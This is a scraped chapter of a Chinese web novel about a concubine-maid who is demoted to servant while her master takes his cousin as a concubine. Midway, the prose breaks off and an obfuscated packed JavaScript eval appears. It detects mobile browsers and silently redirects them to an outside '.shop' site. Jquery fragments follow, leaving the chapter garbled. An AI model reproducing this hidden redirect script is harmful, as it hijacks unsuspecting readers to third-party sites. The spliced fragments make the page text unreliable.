文趣网 > 其他小说 > 替身被强取豪夺后 > 57. 第 57 章
    寻春老气横秋地叹口气,对洛青桃说,“姑娘你分明生得温柔,怎么却是这样一副倔性子,日后可千万改一改罢,好生向大爷认个错,事事都顺着大爷来,说不定大爷慢慢的也就不计较这回的事了。我知道姑娘不乐意进府,可如今到底已进了府,难道这样拗一辈子?没法子改变,就只能委屈自己了。”

    “唉,先前大爷后院只姑娘你一个,争宠的事倒也简单。如今倒好,姑娘这一病三天,不知道,大爷准备将表姑娘纳做妾室呢!”

    “表姑娘那可是夫人的远房亲戚,生得也漂亮,这回虽是纳妾,却也不似姑娘先前入府那样随便。消息传出来,府里好热闹呢,老夫人和夫人都派人给了赏,夫人还放出话了,说等大爷娶了正妻,立时就要抬表姑娘做贵妾。”

    “今儿晚上就是表姑娘摆酒的日子,只等大爷过去喝了宿下,这喜事儿就成了。”

    贵妾可不同于一般的妾室,那是能上族谱的,身份自不一般。

    寻春还要再絮叨,却见洛青桃只垂着眼,伸手轻轻抚着怀里的药箱,神色怔忡,显然方才自己的话是半天没听进去,丝毫不放在心上的。

    她只好不再说了,心里却还存着念想,心道先前姑娘病得重的时候,平沙管事特意叮嘱过,说等姑娘醒了,立刻派人去重山院说一声。方才自己已派了雁儿去传话了,说不定一会儿大爷就过来了呢。可见姑娘并不是完全失了宠。

    果然,稍晚些时候,平沙管事就来了罘网院。

    但他说的话却大出寻春的意料。

    隔着屏风,平沙站在外间,说,“洛姑娘既已醒了,想来病已无大碍。主子说,身为奴婢,怎配独门独院地住着?命你挪出罘网院,日后只做粗使丫鬟,住在下人屋里。”

    隔着屏风,平沙听到里头声音稍显沙哑,却毫无波澜,“好。”

    平沙又传话,“今儿主子摆酒纳表姑娘为妾,指了木兰院给表姑娘住。如今木兰院正缺人手,命你日后就去木兰院伺候着。”

    依旧是那毫无波澜的声音,“好。”

    这一番话毕,洛青桃面上毫无波澜,反而是寻春满脸惊诧。怎么洛姑娘成了伺候人的丫头,且连自己都不如,只是个最底层的粗使?难道大爷是真厌弃她了?

    那自己日后该做什么,伺候谁去?寻春满脑子浆糊。

    洛青桃没什么东西要收拾,虽这屋里有许多她穿过或未穿过的衣裳、戴过或未戴过的首饰,但这都不是属于她的,她毫无留恋。她只是提着药箱,平静地向寻春道了别后,在她惊诧的目光中,跟在平沙身后出了罘网院。

    平沙直接将她带到了一处下人院里。

    有头有脸的大丫鬟自是在主子院里有一席之地的,因此下人院里住的都是些粗使的下人,浆洗的、灶上的、洒扫的等等,院里嘈杂繁乱,平沙随便找了处有空铺的屋子,指着让她进去。

    洛青桃提着药箱进了屋,见屋里是个大通铺,能住十来个人,屋里很是窄小,仅剩的一个位置在靠门边的地方,因冬天临着门窗,这位置最冷,因此空了出来。

    平沙站在门边看着,只等洛青桃受不住这环境,要向他开口求饶。自己才好向主子交差。但却见这洛姑娘毫不在意,只神色淡淡,面无波澜。

    平沙见状无奈,只好走了。

    洛青桃蜷缩在床铺上,抱着药箱睡了过去,她高烧虽退,但到底大病初愈,头钝钝地疼。

    更别提她如今失了户帖、没了路引,成了卖死契的奴婢,这一切都让她心灰意冷,什么都不想考虑,关于未来,关于以后,可能就这样浑浑噩噩地在这宅院里过一生吧。

    昏昏沉沉地睡了过去,不知过了多久,却被人叫醒。叫她的是同屋的奴婢,传话说大爷叫她过去伺候。

    木兰院。

    已入了夜,木兰院却四处挂着红灯笼,虽没有贴喜字挂红绸,但还是透出十足的喜庆。

    侧间摆着一桌丰盛的筵宴,里间里烧着红烛,周绣云正在镜前梳妆,一身水红色的大袖裙,虽不是大红,却也衬得她娇艳动人,再加上繁复发髻上的金钗,显出她十足的容色。

    对着镜子欣赏着自己的容色,周绣云满面得色,心道这可真是塞翁失马焉知非福。

    前几日在温泉庄子上时,因她故意指使那洛青桃去山上采药,大表哥震怒异常,将她捆了关在柴房里。后来等那洛青桃被抓回来时,众人才知原来她是借着采药逃跑了!这样一来,周绣云被关在柴房受苦,岂不是无妄之灾?

    姨母周夫人自是趁机发难,要大表哥给个说法,为做补偿,逼他纳了自己。

    那时周绣云满心委屈,缩在姨母身边,听见姨母提出纳妾的要求时,觑着眼小心翼翼、又满心期待地看过去。

    只见大表哥靠着扶手椅,面无表情,沉着脸,不知在想什么。他转着大拇指上的玉扳指,忽抬眼看向她,像是在打量。

    片刻后他忽轻哂一下,说,“好。”

    他又不是非她不可。

    其实周绣云心里对妾室这名分颇是不满,虽她家世差了些,但那又如何,她姿色过人,又有姨母做依仗,难道做不得这林府的主母?

    那些官宦世家的女子,不就是有个好出身,除此之外,又哪点比得上她?从前赴宴时,她表面上和那些闺秀们言笑晏晏,内心里却常鄙薄她们。

    看着镜中的自己,周绣云眉梢眼角透出得意的神色,已开始畅想自己日后的生活了。虽不是正妻,但那又如何,凭她的姿色,难道笼络不了大表哥的心?再加上有姨母做依仗,姨母可是许诺她了贵妾之位的,纵日后大表哥娶了正妻,也不过是个摆设罢了。等她再生下子女来,到时候这家产不都是她子女的?

    至于那洛青桃,哼,如今周绣云才不将她放在眼里。她身在福中不知福,竟敢逃走,惹得大表哥雷霆震怒,哪个男人容得了被这样羞辱。想必大表哥会厌弃了她。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785010|204209||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她还听说,那洛青桃如今伤了脸,姿色大损,凭这样还有什么好和她争的。

    想到这里,周绣云大感得意。这时听外头丫鬟纷纷行礼,“见过大爷。”

    周绣云忙理了理鬓发,站起了身,带着娇媚笑意迎了出去,就见林庭树穿着身墨绿色的家常直裰,腰束玉带,身量高大,这样看去,真是英挺峻拔,更兼那身居高位的气势,周绣云一颗心砰砰跳,忙莲步轻移迎了上去,面上含羞,福身行礼,“大表哥……”

    林庭树面无表情,淡淡嗯了一声,迈步进屋,脸上不见喜色。

    周绣云忙跟了进来,侍奉林庭树坐在席面的主位上,给他斟了盏酒,“大表哥,姨母说今儿是个好日子,特意让厨下备了一桌席面,就算是给我摆桌酒,过了明路。”

    说着她眼波流转,将酒盏递到林庭树唇边,声音含娇,“大表哥,喝了绣云这盏酒吧。”

    林庭树面无表情接过酒盏,片刻后一饮而尽,周绣云喜上两腮,站在一旁,殷勤地夹了一筷子酒酿蒸鸭,亲手将筷箸递到林庭树唇边,想伺候他就着自己的手吃下去,却见林庭树冷着脸,抬手,将筷箸推开。

    他沉声道,“不用你伺候。”

    周绣云见林庭树拒绝,身子愈发柔了,又要贴过来,“能伺候大表哥,这是绣云的福分。”

    林庭树却沉冷瞧了她一眼,周绣云被他眼神一慑,那正要贴近的身子登时一僵,再不敢妄自动弹。

    这时林庭树扬声朝外冷喝,“滚进来伺候!”

    周绣云疑惑,朝屋外看去,待看清来人时,登时神色一滞。

    进来的不是别人,正是那洛青桃!

    周绣云大为不满。

    今儿可是她的好日子,这洛青桃怎么来打扰?莫不是故意来争宠的?真不要脸,竟使出这种手段。

    但仔细一看,周绣云当即愣住。

    只见这洛青桃只穿了一身布衣,不是什么好料子,倒像是下人穿的。谁争宠这样穿,连打扮都不打扮的。但不得不说,她这样未施粉黛,全无钗环,却显出一种出尘脱俗的素净,看得周绣云愈发嫉恨。

    再定睛一看,周绣云看清了她侧脸上有一道突兀至极的伤疤,蜈蚣似的贴在脸上,丑陋极了。当即心中大喜。

    看来府里的传言是真的,她真的容貌有损。说不定是因逃跑惹怒了大表哥,被大表哥亲手划的呢!

    凭这张脸来和她争宠?周绣云伸手轻抚鬓边步摇,心中嗤笑。

    如此毁了相貌,看她日后能怎么办。别说大表哥这等位高权重之人了,哪个男人能瞧上她?

    心中虽这样想,但到底碍于林庭树在这里,周绣云自是要表现地温柔大度。因此故意惊诧地站起身来,竟是主动朝洛青桃走过去,上前就拉住了她的手。

    “洛姑娘怎么大驾光临了?”她道,很快掩嘴一笑,“洛姑娘比我先进府,虽无名分,但我还是叫你一声姐姐好了。”